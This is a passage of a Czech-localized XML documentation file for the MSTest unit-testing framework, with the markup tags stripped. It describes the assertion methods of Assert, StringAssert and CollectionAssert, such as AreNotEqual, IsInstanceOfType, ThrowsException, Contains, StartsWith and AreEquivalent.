výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou stejné. Pro srovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou si rovny. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou si rovny. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou si rovny. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli zadaný objekt je instancí očekávaného - typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědění objektu. - - - Objekt, který podle testu má být zadaného typu - - - Očekávaný typ . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt je instancí očekávaného - typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědění objektu. - - - Objekt, který podle testu má být zadaného typu - - - Očekávaný typ . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není instancí . Zpráva se - zobrazuje ve výsledcích testu. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt je instancí očekávaného - typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědění objektu. - - - Objekt, který podle testu má být zadaného typu - - - Očekávaný typ . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není instancí . Zpráva se - zobrazuje ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt není instancí nesprávného - typu, a vyvolá výjimku, pokud zadaný typ je v - hierarchii dědění objektu. - - - Objekt, který podle testu nemá být zadaného typu. - - - Typ, který by hodnotou neměl být. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt není instancí nesprávného - typu, a vyvolá výjimku, pokud zadaný typ je v - hierarchii dědění objektu. - - - Objekt, který podle testu nemá být zadaného typu. - - - Typ, který by hodnotou neměl být. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je instancí . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt není instancí nesprávného - typu, a vyvolá výjimku, pokud zadaný typ je v - hierarchii dědění objektu. - - - Objekt, který podle testu nemá být zadaného typu. - - - Typ, který by hodnotou neměl být. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je instancí . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Vyvolá výjimku AssertFailedException. - - - Always thrown. - - - - - Vyvolá výjimku AssertFailedException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Always thrown. - - - - - Vyvolá výjimku AssertFailedException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Always thrown. - - - - - Vyvolá výjimku AssertInconclusiveException. - - - Always thrown. - - - - - Vyvolá výjimku AssertInconclusiveException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Always thrown. - - - - - Vyvolá výjimku AssertInconclusiveException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Always thrown. - - - - - Statická přetížení operátoru rovnosti se používají k porovnání rovnosti odkazů na instance - dvou typů. Tato metoda by se neměla používat k porovnání rovnosti dvou - instancí. Tento objekt vždy vyvolá Assert.Fail. Ve svých testech - jednotek prosím použijte Assert.AreEqual a přidružená přetížení. - - Objekt A - Objekt B - Vždy nepravda. - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Pole parametrů, které se má použít při formátování . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Pole parametrů, které se má použít při formátování . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Třídu spouští delegáta. - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá AssertFailedException, pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Třídu spouští delegáta. - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá AssertFailedException, pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Pole parametrů, které se má použít při formátování . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Třídu spouští delegáta. - - - - - Nahradí znaky null ('\0') řetězcem "\\0". - - - Řetězec, který se má hledat - - - Převedený řetězec se znaky Null nahrazený řetězcem "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Pomocná funkce, která vytváří a vyvolává výjimku AssertionFailedException - - - název kontrolního výrazu, který vyvolává výjimku - - - zpráva popisující podmínky neplatnosti kontrolního výrazu - - - Parametry - - - - - Ověří parametr pro platné podmínky. - - - Parametr - - - Název kontrolního výrazu - - - název parametru - - - zpráva pro neplatnou výjimku parametru - - - Parametry - - - - - Bezpečně převede objekt na řetězec, včetně zpracování hodnot null a znaků null. - Hodnoty null se převádějí na formát (null). Znaky null se převádějí na \\0. - - - Objekt, který chcete převést na řetězec - - - Převedený řetězec - - - - - Kontrolní výraz řetězce - - - - - Získá instanci typu singleton funkce CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, jestli zadaný řetězec obsahuje zadaný podřetězec, - a vyvolá výjimku, pokud se podřetězec v testovacím řetězci - nevyskytuje. - - - Řetězec, který má obsahovat . - - - Řetězec má být v rozmezí hodnot . - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaný řetězec obsahuje zadaný podřetězec, - a vyvolá výjimku, pokud se podřetězec v testovacím řetězci - nevyskytuje. - - - Řetězec, který má obsahovat . - - - Řetězec má být v rozmezí hodnot . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaný řetězec obsahuje zadaný podřetězec, - a vyvolá výjimku, pokud se podřetězec v testovacím řetězci - nevyskytuje. - - - Řetězec, který má obsahovat . - - - Řetězec má být v rozmezí hodnot . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaný řetězec začíná zadaným podřetězcem, - a vyvolá výjimku, pokud testovací řetězec podřetězcem - nezačíná. - - - Řetězec, který má začínat na . - - - Řetězec, který má být prefixem hodnoty . - - - Thrown if does not begin with - . - - - - - Testuje, jestli zadaný řetězec začíná zadaným podřetězcem, - a vyvolá výjimku, pokud testovací řetězec podřetězcem - nezačíná. - - - Řetězec, který má začínat na . - - - Řetězec, který má být prefixem hodnoty . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nezačíná na . Zpráva se - zobrazuje ve výsledcích testu. - - - Thrown if does not begin with - . - - - - - Testuje, jestli zadaný řetězec začíná zadaným podřetězcem, - a vyvolá výjimku, pokud testovací řetězec podřetězcem - nezačíná. - - - Řetězec, který má začínat na . - - - Řetězec, který má být prefixem hodnoty . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nezačíná na . Zpráva se - zobrazuje ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not begin with - . - - - - - Testuje, jestli zadaný řetězec končí zadaným podřetězcem, - a vyvolá výjimku, pokud jím testovací řetězec - nekončí. - - - Řetězec, který má končit na . - - - Řetězec, který má být příponou . - - - Thrown if does not end with - . - - - - - Testuje, jestli zadaný řetězec končí zadaným podřetězcem, - a vyvolá výjimku, pokud jím testovací řetězec - nekončí. - - - Řetězec, který má končit na . - - - Řetězec, který má být příponou . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nekončí na . Zpráva se - zobrazuje ve výsledcích testu. - - - Thrown if does not end with - . - - - - - Testuje, jestli zadaný řetězec končí zadaným podřetězcem, - a vyvolá výjimku, pokud jím testovací řetězec - nekončí. - - - Řetězec, který má končit na . - - - Řetězec, který má být příponou . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nekončí na . Zpráva se - zobrazuje ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not end with - . - - - - - Testuje, jestli se zadaný objekt shoduje s regulárním výrazem, a - vyvolá výjimku, pokud se řetězec s výrazem neshoduje. - - - Řetězec, který se má shodovat se vzorkem . - - - Regulární výraz, který se - má shodovat. - - - Thrown if does not match - . - - - - - Testuje, jestli se zadaný objekt shoduje s regulárním výrazem, a - vyvolá výjimku, pokud se řetězec s výrazem neshoduje. - - - Řetězec, který se má shodovat se vzorkem . - - - Regulární výraz, který se - má shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - neodpovídá . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if does not match - . - - - - - Testuje, jestli se zadaný objekt shoduje s regulárním výrazem, a - vyvolá výjimku, pokud se řetězec s výrazem neshoduje. - - - Řetězec, který se má shodovat se vzorkem . - - - Regulární výraz, který se - má shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - neodpovídá . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not match - . - - - - - Testuje, jestli se zadaný řetězec neshoduje s regulárním výrazem, - a vyvolá výjimku, pokud se řetězec s výrazem shoduje. - - - Řetězec, který se nemá shodovat se skutečnou hodnotou . - - - Regulární výraz, který se - nemá shodovat. - - - Thrown if matches . - - - - - Testuje, jestli se zadaný řetězec neshoduje s regulárním výrazem, - a vyvolá výjimku, pokud se řetězec s výrazem shoduje. - - - Řetězec, který se nemá shodovat se skutečnou hodnotou . - - - Regulární výraz, který se - nemá shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - odpovídá . Zpráva je zobrazena ve výsledcích - testu. - - - Thrown if matches . - - - - - Testuje, jestli se zadaný řetězec neshoduje s regulárním výrazem, - a vyvolá výjimku, pokud se řetězec s výrazem shoduje. - - - Řetězec, který se nemá shodovat se skutečnou hodnotou . - - - Regulární výraz, který se - nemá shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - odpovídá . Zpráva je zobrazena ve výsledcích - testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if matches . - - - - - Kolekce tříd pomocných služeb pro ověřování nejrůznějších podmínek vztahujících se - na kolekce v rámci testů jednotek. Pokud se testovaná podmínka - nesplní, vyvolá se výjimka. - - - - - Získá instanci typu singleton funkce CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, jestli zadaná kolekce obsahuje zadaný prvek, - a vyvolá výjimku, pokud prvek v kolekci není. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který má být v kolekci - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaná kolekce obsahuje zadaný prvek, - a vyvolá výjimku, pokud prvek v kolekci není. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který má být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaná kolekce obsahuje zadaný prvek, - a vyvolá výjimku, pokud prvek v kolekci není. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který má být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaná kolekce neobsahuje zadaný - prvek, a vyvolá výjimku, pokud prvek je v kolekci. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který nemá být v kolekci - - - Thrown if is found in - . - - - - - Testuje, jestli zadaná kolekce neobsahuje zadaný - prvek, a vyvolá výjimku, pokud prvek je v kolekci. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který nemá být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je v kolekci . Zpráva je zobrazena ve výsledcích - testu. - - - Thrown if is found in - . - - - - - Testuje, jestli zadaná kolekce neobsahuje zadaný - prvek, a vyvolá výjimku, pokud prvek je v kolekci. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který nemá být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je v kolekci . Zpráva je zobrazena ve výsledcích - testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is found in - . - - - - - Testuje, jestli ani jedna položka v zadané kolekci není null, a vyvolá - výjimku, pokud je jakýkoli prvek null. - - - Kolekce, ve které chcete hledat prvky Null. - - - Thrown if a null element is found in . - - - - - Testuje, jestli ani jedna položka v zadané kolekci není null, a vyvolá - výjimku, pokud je jakýkoli prvek null. - - - Kolekce, ve které chcete hledat prvky Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje prvek Null. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if a null element is found in . - - - - - Testuje, jestli ani jedna položka v zadané kolekci není null, a vyvolá - výjimku, pokud je jakýkoli prvek null. - - - Kolekce, ve které chcete hledat prvky Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje prvek Null. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if a null element is found in . - - - - - Testuje, jestli jsou všechny položky v zadané kolekci jedinečné, a - vyvolá výjimku, pokud libovolné dva prvky v kolekci jsou stejné. - - - Kolekce, ve které chcete hledat duplicitní prvky - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, jestli jsou všechny položky v zadané kolekci jedinečné, a - vyvolá výjimku, pokud libovolné dva prvky v kolekci jsou stejné. - - - Kolekce, ve které chcete hledat duplicitní prvky - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje alespoň jeden duplicitní prvek. Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, jestli jsou všechny položky v zadané kolekci jedinečné, a - vyvolá výjimku, pokud libovolné dva prvky v kolekci jsou stejné. - - - Kolekce, ve které chcete hledat duplicitní prvky - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje alespoň jeden duplicitní prvek. Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, jestli jedna kolekce je podmnožinou jiné kolekce, - a vyvolá výjimku, pokud libovolný prvek podmnožiny není zároveň - prvkem nadmnožiny. - - - Kolekce, která má být podmnožinou . - - - Kolekce má být nadmnožinou - - - Thrown if an element in is not found in - . - - - - - Testuje, jestli jedna kolekce je podmnožinou jiné kolekce, - a vyvolá výjimku, pokud libovolný prvek podmnožiny není zároveň - prvkem nadmnožiny. - - - Kolekce, která má být podmnožinou . - - - Kolekce má být nadmnožinou - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - se nenachází v podmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Thrown if an element in is not found in - . - - - - - Testuje, jestli jedna kolekce je podmnožinou jiné kolekce, - a vyvolá výjimku, pokud libovolný prvek podmnožiny není zároveň - prvkem nadmnožiny. - - - Kolekce, která má být podmnožinou . - - - Kolekce má být nadmnožinou - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - se nenachází v podmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if an element in is not found in - . - - - - - Testuje, jestli jedna z kolekcí není podmnožinou jiné kolekce, a vyvolá - výjimku, pokud všechny prvky podmnožiny jsou také prvky - nadmnožiny. - - - Kolekce, která nemá být podmnožinou nadmnožiny . - - - Kolekce, která nemá být nadmnožinou podmnožiny - - - Thrown if every element in is also found in - . - - - - - Testuje, jestli jedna z kolekcí není podmnožinou jiné kolekce, a vyvolá - výjimku, pokud všechny prvky podmnožiny jsou také prvky - nadmnožiny. - - - Kolekce, která nemá být podmnožinou nadmnožiny . - - - Kolekce, která nemá být nadmnožinou podmnožiny - - - Zpráva, kterou chcete zahrnout do výjimky, pokud každý prvek v podmnožině - se nachází také v nadmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Thrown if every element in is also found in - . - - - - - Testuje, jestli jedna z kolekcí není podmnožinou jiné kolekce, a vyvolá - výjimku, pokud všechny prvky podmnožiny jsou také prvky - nadmnožiny. - - - Kolekce, která nemá být podmnožinou nadmnožiny . - - - Kolekce, která nemá být nadmnožinou podmnožiny - - - Zpráva, kterou chcete zahrnout do výjimky, pokud každý prvek v podmnožině - se nachází také v nadmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if every element in is also found in - . - - - - - Testuje, jestli dvě kolekce obsahují stejný prvek, a vyvolá - výjimku, pokud některá z kolekcí obsahuje prvek, který není součástí druhé - kolekce. - - - První kolekce, kterou chcete porovnat. Jedná se o prvek, který test - očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, jestli dvě kolekce obsahují stejný prvek, a vyvolá - výjimku, pokud některá z kolekcí obsahuje prvek, který není součástí druhé - kolekce. - - - První kolekce, kterou chcete porovnat. Jedná se o prvek, který test - očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud byl nalezen prvek - v jedné z kolekcí, ale ne ve druhé. Zpráva je zobrazena - ve výsledcích testu. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, jestli dvě kolekce obsahují stejný prvek, a vyvolá - výjimku, pokud některá z kolekcí obsahuje prvek, který není součástí druhé - kolekce. - - - První kolekce, kterou chcete porovnat. Jedná se o prvek, který test - očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud byl nalezen prvek - v jedné z kolekcí, ale ne ve druhé. Zpráva je zobrazena - ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, jestli dvě kolekce obsahují rozdílné prvky, a vyvolá - výjimku, pokud tyto dvě kolekce obsahují identické prvky bez ohledu - na pořadí. - - - První kolekce, kterou chcete porovnat. Obsahuje prvek, který se podle testu - má lišit od skutečné kolekce. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, jestli dvě kolekce obsahují rozdílné prvky, a vyvolá - výjimku, pokud tyto dvě kolekce obsahují identické prvky bez ohledu - na pořadí. - - - První kolekce, kterou chcete porovnat. Obsahuje prvek, který se podle testu - má lišit od skutečné kolekce. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje stejný prvek jako . Zpráva - je zobrazena ve výsledcích testu. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, jestli dvě kolekce obsahují rozdílné prvky, a vyvolá - výjimku, pokud tyto dvě kolekce obsahují identické prvky bez ohledu - na pořadí. - - - První kolekce, kterou chcete porovnat. Obsahuje prvek, který se podle testu - má lišit od skutečné kolekce. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje stejný prvek jako . Zpráva - je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, jestli všechny prvky v zadané kolekci jsou instancemi - očekávaného typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědičnosti jednoho nebo více prvků. - - - Kolekce obsahující prvky, které podle testu mají být - zadaného typu. - - - Očekávaný typ jednotlivých prvků . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, jestli všechny prvky v zadané kolekci jsou instancemi - očekávaného typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědičnosti jednoho nebo více prvků. - - - Kolekce obsahující prvky, které podle testu mají být - zadaného typu. - - - Očekávaný typ jednotlivých prvků . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - není instancí typu - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, jestli všechny prvky v zadané kolekci jsou instancemi - očekávaného typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědičnosti jednoho nebo více prvků. - - - Kolekce obsahující prvky, které podle testu mají být - zadaného typu. - - - Očekávaný typ jednotlivých prvků . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - není instancí typu - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných 